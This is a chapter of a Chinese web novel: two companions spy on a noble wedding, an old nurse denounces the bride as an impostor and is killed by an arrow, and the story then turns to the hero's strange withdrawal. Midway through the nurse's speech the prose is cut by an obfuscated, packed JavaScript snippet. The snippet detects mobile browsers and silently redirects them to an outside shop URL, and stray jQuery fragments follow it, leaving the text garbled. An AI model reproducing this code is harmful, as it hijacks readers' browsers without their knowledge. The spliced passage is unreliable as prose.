16. 菩萨像
    婚礼的锣鼓声震天而响,震得辛晚楼耳朵生疼。她在屋顶的瓦片上换个姿势,想揉揉自己压疼的手肘,却又不愿松开捂着耳朵的手。

    沈羡亭从她背后靠近,探出双手,一边一个捂住她两侧耳朵。

    “多谢——不是,你有病吧!”辛晚楼终于能腾出手揉揉手肘,又在喧天的锣鼓声中冲他大喊。

    “我们到底为什么要在屋顶上看高吟吟成亲?!”

    “想看——”沈羡亭冲她喊道。

    无语。

    辛晚楼不再瞧他过分开朗的无赖笑容,低头看向身下人声鼎沸的院落。

    目之所及几乎只剩了喜庆的大红,满头珠翠的高吟吟在红衣映衬下面若桃花、艳丽非常。她的那位相公——大靖的梁王殿下闻珏,向来有“玉郎”的诨名,少年时也是曾被赞过“京城第一儿郎”的,如今年岁成熟,更是剑眉星目、玉树临风。

    从新娘子入了梁王府,闻珏脸上笑意便未消退,望着高吟吟的眼神里只有满足与欣悦。高吟吟用一把缂丝团扇挡着脸,额前垂珠遮挡也总遮挡她细长的眉眼。可却也能让人在几个珠翠摇曳的片刻一窥她一双含情倩目。二人郎才女貌,俨然一对璧人。

    这位梁王殿下闻珏是今上最小的弟弟,今年三十又五,貌比潘安却擅带兵打仗,十九岁便开疆扩土、一举攻下南边竟平一带。虽不能言,可大靖人人皆知,若不是先帝驾崩时梁王殿下尚在襁褓,那只怕是……

    唉!罪过,罪过。

    阿弥陀佛。

    先帝已然仙逝、高吟吟生母也只是奴籍女子,因此高冲高宰相一人坐镇高堂,受了新人一拜。

    此间礼成,门外却忽然响起一声尖利通传,一黄门喊道:“太子殿下到——”

    一时间,府内众人尽数安静,朝门口跪倒,一眨眼便乌泱泱跪了满地。

    梁王府瞬时鸦雀无声,只在太子进入时响起山呼。辛晚楼在屋顶上压低身子,整个人趴在瓦片上;而沈羡亭却端坐不动,只探头看向来人。

    众人簇拥下,一玄衣男子快步走来,前前后后跟十几个侍卫,将他周遭围得铁桶一般。他身上是隐含三百条麒麟纹的玄色衣物,腰间配蓝金腰带,缀一红玉麒麟首。他行至新人身前,一小黄门捧一诏书上前,徐徐展开,高呼:

    “跪——”

    新人下跪。

    他沉声道:

    “尚书仆射高冲之女高氏,温婉淑德、秀毓名门。性良温成而颖才兼备,仁孝恭俭而性姿敏慧;嫁于天家、作合梁王,册梁王妃。钦此——”

    高吟吟抬眼看向玄衣的太子殿下,又不安地看身侧闻珏一眼,闻珏俯身叩拜:“吾皇万岁。”

    高吟吟同拜,道:“吾皇万岁。”

    “起来吧,”太子上前一步,搀起地上二人,“父皇得知喜事,今日特命孤来此,代为祝贺。”

    闻珏笑道:“多谢皇兄挂念……可这等小事,何必太子殿下亲至呢?”

    太子微微一笑,神情柔和宁静:“叔父此话见外。阿淙也想亲自来为叔父与婶母道喜。”

    话毕,他向身后摆手,几个侍人立即上前,抬一座白玉菩萨像来。

    太子笑道:“和田软玉、送子观音,叔父婶母百年好合。”

    高吟吟颔首,朝太子浅行一礼。

    “承太子吉言。”闻珏道。

    话正说到此时,屋外忽而响起一老妇哭喊之声。众人皆侧目而望,只见一灰衣老妇蓬头垢面、狼狈不堪,疯疯癫癫闯入婚仪。老妇灰衣染血,处处皆是被王府守卫手中长刀划破的血口。

    老妇像是丝毫不觉疼痛,一入府内便指着高吟吟大喊,道:“冒牌货!此人不是我家小姐——你害我小姐性命啊——”

    高吟吟神色一凛,珠翠下凤目圆睁。但那惊恐也只停留片刻——那老妇话未说完,人已被太子的守卫捂嘴拖出,唯留下从守卫指缝中透出的点点呜咽与哭嚎。

    “阿珏,我……”

    “当年是老夫亲自把吟吟接回来的,”高冲怒目而视,喝道,“绝不会错!”

    “无事,应当只是个疯子,”闻珏宽慰道。

    太子皱眉,问:“叔父成亲为何不关门?这才让这疯子有可乘之机。”

    闻珏叹息:“本就是天家子弟,我与吟吟本意在大婚日令穷苦人家蹭几顿饱饭——谁知遇到这等事情……”

    话毕,他将高吟吟揽入怀中。

    “冒牌货……高吟吟是冒牌货?”屋顶上的黛衣女子对身边人说道,“不如去找那老妇细细问问?”

    “沈羡亭?”

    她本欲回头看他一眼,奈何他双手仍死死按在她耳朵上,令她转头受限。辛晚楼不耐地打掉他的手,转头过去,看他直勾勾盯着屋檐下方,又提一点声量,问:

    “你听没听?”

    那人好像真没在听,神态平静无波,只出神地看着院中某个人。

    “沈羡亭!”辛晚楼又叫他一声,出手摇他肩膀,“你听了吗?”

    “什么?”他猛地一眨眼,终于看向她,神色迷蒙,“你说什么?”

    “我说——”辛晚楼一怔,翻个白眼,“算了,我自己去!”

    她不再理那毫不专心的人,径直从屋顶跳下,翻身跃进王府后的窄巷之中。她沿路上前,绕至王府跟前,见那老妇正哭嚎着被守卫拖出来,一把丢在路中央。

    老妇一头跌进车水马龙的长安街市之中,香车宝马飞驰而过,险些轧了那老妇的脚。驾车之人一声惊叫,慌忙避让,惊魂未定地啐她一口。

    辛晚楼一个箭步上前,将老妇扶起,急忙拽到路边。老妇感激道:“姑娘,您可真是个好人,不似这梁王府——欺我、辱我,那冒牌货还杀我的小姐……我可怜的小姐呀……”

    说着,那老妇潸然泪下,竟歇斯底里地哭嚎起来。

    辛晚楼忙将她拽至无人小巷,问道:“婆婆,您说‘冒牌货’,是怎么一回事啊?”

    老妇哭道:“小姐的亲娘难产过世,我是小姐的奶娘,打小便由我喂养她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13071852|137910||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。小姐长到十八岁的时候,高大人来郊外寻亲,小姐得了消息出去采买,谁知一去不回,回来的便是这个冒牌货!”

    “我家小姐肩头有一大块烫伤,谁料这冒牌货也有……高大人将这冒牌货认了回去,我家那真小姐却不知身在何处、更不知死活——”

    喷薄的鲜血迎面而上,入眼是湿热的蛰痛;再睁开,满目已俱是刺目的血红——

    老妇半截尾音还在口中,喉咙已被从天而降的一支羽箭射穿。她喉中发出有如溺水的声响,浑浊的眼瞳惊恐地瞪大,迟缓地朝辛晚楼一转……

    她肩上银色的鸢尾染满猩红,热腾腾的血迹在冰寒干燥的空气中升腾出白色雾气。老妇紧盯着她的面孔,喉中“咕咚”一响,就此咽下自己最后一口气。

    辛晚楼捂住自己剧痛淌血的左耳,惊惧地转头望去,而羽箭来处空无一人,持弓之人早已远去。

    她满面满身俱是鲜血,怀中紧抱那老妇尸身,目眦尽裂——

    巷口处转来一月白人影,追她在身后匆匆赶来。只一眼,她眼看着那人一双清亮的眸子在自己与尸身身上游走,最后盯住她满身满脸的血……

    她缓缓松开手,可终究太迟,鲜血已从她捂住左耳的指缝间滑落,蜿蜒在她瓷白的手背上……

    “沈……沈羡亭。”

    *

    骊山,载雪居。

    那件黛色衣裳已不能再穿,肩头银丝不论怎么搓洗缝隙间总有乌沉血迹。高吟吟绣的那身赤色婆娑锦骑装就压在箱中,可她还是穿不惯。于是她翻箱倒柜,翻了一件过大的乌色长袍穿上,腰间用一黑色腰带扎紧。

    她抖抖衣袖,宽大的袖口沿着手臂滑落,堆积在手肘处,又令她以一条皮质襻膊牢牢束住。

    黑衣乌沉,衬得她露在外边的手臂格外雪白,仿佛一个秀丽的瓷人。

    自去了一趟梁王府,沈羡亭便如鬼上身一般,不仅一言不发,回了载雪居后更是将自己锁在屋里三天,其间不吃不喝,更几乎连一丁点响动都无。

    辛晚楼只觉他又犯什么病,起初并未搭理,由着那人胡闹。她每日只敲一次门送点食水,那人不理,她便再也不管。

    可耗到第三日,纵使她迟钝如斯,也知道这人怕是已经已死在屋里了。

    她最后敲一次聊胜于无的门,喊道:“沈羡亭,活着就出个声儿。”

    无人应答,她踹门便入。

    只听“嘭”一声大响,脆弱的门锁应声而落。辛晚楼径直走入,可屋内并无人影。她心里正怪,那惊人的耳力却听见身侧似有微弱声响。辛晚楼侧目一看,双眼盯紧了衣柜夹着的一截衣角。

    月白色,绣海涛纹。

    莫名的惊慌忽而涌上心头。辛晚楼缓缓在衣柜前跪下,轻敲门板,担忧问:“沈羡亭?”

    那人并未回答,可她眼前衣角分明动了些许。她贴近门板,也能听见其中微弱而急促的一点喘息。

    沈羡亭……他……

    辛晚楼猛地将柜门打开——